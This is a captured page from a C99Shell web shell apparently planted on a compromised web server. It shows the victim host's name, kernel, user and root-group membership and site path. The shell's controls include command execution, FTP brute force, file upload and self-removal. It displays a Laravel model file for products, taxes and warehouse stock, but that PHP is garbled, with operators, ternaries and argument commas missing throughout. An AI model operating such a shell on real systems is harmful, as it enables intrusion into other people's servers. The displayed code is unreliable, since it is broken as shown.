!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/app/Models/   drwxr-xr-x
Free 28.59 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ProductService.php (5.12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Models;

use 
App\Models\Tax;
use 
Illuminate\Database\Eloquent\Model;
use 
Illuminate\Support\Facades\Auth;
use 
Illuminate\Support\Facades\DB;

class 
ProductService extends Model
{
    protected 
$fillable = [
        
'name',
        
'sku',
        
'sale_price',
        
'purchase_price',
        
'tax_id',
        
'category_id',
        
'unit_id',
        
'type',
        
'sale_chartaccount_id',
        
'expense_chartaccount_id',
        
'created_by',
    ];

    public function 
taxes()
    {
        return 
$this->hasOne('App\Models\Tax''id''tax_id')->first();
    }

    public function 
unit()
    {
        return 
$this->hasOne('App\Models\ProductServiceUnit''id''unit_id');
    }

    public function 
category()
    {
        return 
$this->hasOne('App\Models\ProductServiceCategory''id''category_id');
    }

    public function 
tax($taxes)
    {
        
$taxArr explode(','$taxes);

        
$taxes  = [];
        foreach(
$taxArr as $tax)
        {
            
$taxes[] = Tax::find($tax);
        }

        return 
$taxes;
    }

    public function 
taxRate($taxes)
    {
        
$taxArr  explode(','$taxes);
        
$taxRate 0;
        foreach(
$taxArr as $tax)
        {
            
$tax     Tax::find($tax);
            
$taxRate += $tax->rate;
        }

        return 
$taxRate;
    }

    public static function 
taxData($taxes)
    {
        
$taxArr explode(','$taxes);

        
$taxes = [];
        foreach(
$taxArr as $tax)
        {
            
$taxesData Tax::find($tax);
            
$taxes[]   = !empty($taxesData) ? $taxesData->name '';
        }

        return 
implode(','$taxes);
    }

    public static function 
getallproducts()
    {
        return 
ProductService::select('product_services.*''c.name as categoryname')
            ->
where('product_services.type''=''product')
            ->
leftjoin('product_service_categories as c''c.id''=''product_services.category_id')
            ->
where('product_services.created_by''='Auth::user()->creatorId())
            ->
orderBy('product_services.id''DESC');
    }

    public function 
getTotalProductQuantity()
    {
        
$totalquantity $purchasedquantity $posquantity 0;
        
$authuser Auth::user();
        
$product_id $this->id;
        
$purchases Purchase::where('created_by'$authuser->creatorId());

        if (
$authuser->isUser())
        {
            
$purchases $purchases->where('warehouse_id'$authuser->warehouse_id);
        }

        foreach(
$purchases->get() as $purchase)
        {
            
$purchaseditem PurchaseProduct::select('quantity')->where('purchase_id'$purchase->id)->where('product_id'$product_id)->first();

            
$purchasedquantity += $purchaseditem != null $purchaseditem->quantity 0;

        }

        
$poses Pos::where('created_by'$authuser->creatorId());

        if (
$authuser->isUser())
        {
            
$pos $poses->where('warehouse_id'$authuser->warehouse_id);
        }

        foreach(
$poses->get() as $pos)
        {
            
$positem PosProduct::select('quantity')->where('pos_id'$pos->id)->where('product_id'$product_id)->first();
            
$posquantity += $positem != null $positem->quantity 0;
        }

        
$totalquantity $purchasedquantity $posquantity;


        return 
$totalquantity;
    }


    public function 
getQuantity()
    {
        
$totalquantity $purchasedquantity $quotationquantity 0;
        
$authuser Auth::user();
        
$product_id $this->id;
        
$purchases Purchase::where('created_by'$authuser->creatorId());

        if (
$authuser->isUser())
        {
            
$purchases $purchases->where('warehouse_id'$authuser->warehouse_id);
        }

        foreach(
$purchases->get() as $purchase)
        {
            
$purchaseditem PurchaseProduct::select('quantity')->where('purchase_id'$purchase->id)->where('product_id'$product_id)->first();

            
$purchasedquantity += $purchaseditem != null $purchaseditem->quantity 0;

        }

        
$quotations Quotation::where('created_by'$authuser->creatorId());

        if (
$authuser->isUser())
        {
            
$quotation $quotations->where('warehouse_id'$authuser->warehouse_id);
        }

        foreach(
$quotations->get() as $quotation)
        {
            
$quotationitem QuotationProduct::select('quantity')->where('quotation_id'$quotation->id)->where('product_id'$product_id)->first();
            
$quotationquantity += $quotationitem != null $quotationitem->quantity 0;
        }

        
$totalquantity $purchasedquantity $quotationquantity;


        return 
$totalquantity;
    }

    public static function 
tax_id($product_id)
    {
        
$tax DB::table('product_services')
        ->
where('id'$product_id)
        ->
where('created_by'Auth::user()->creatorId())
        ->
select('tax_id')
        ->
first();

        return (
$tax != null) ? $tax->tax_id 0;
    }

    public function 
warehouseProduct($product_id,$warehouse_id)
    {

        
$product=WarehouseProduct::where('warehouse_id',$warehouse_id)->where('product_id',$product_id)->first();

        return !empty(
$product)?$product->quantity:0;
    }



}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--